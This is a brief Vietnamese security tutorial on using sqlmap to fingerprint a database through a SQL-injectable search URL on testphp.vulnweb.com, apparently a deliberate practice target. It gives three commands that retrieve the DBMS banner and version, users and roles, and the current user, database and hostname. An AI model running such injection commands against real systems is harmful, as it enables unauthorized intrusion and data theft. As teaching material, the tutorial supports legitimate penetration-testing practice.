• Security

    Thu thập thông tin Database bằng sqlmap

    Fingerprinting the system and database
    Site: http://testphp.vulnweb.com
    ——

    Link bị lỗi SQL Injection: http://testphp.vulnweb.com/search.php?test=query

    Get database & DB version.

    [email protected]:~# sqlmap -u “http://testphp.vulnweb.com/search.php?test=query” –b

    Get user & role.

    [email protected]:~# sqlmap -u “http://testphp.vulnweb.com/search.php?test=query” –users –roles

    Get current user, current database and hostname information.

    [email protected]:~# sqlmap -u “http://testphp.vulnweb.com/search.php?test=query” –current-user –current-db –hostname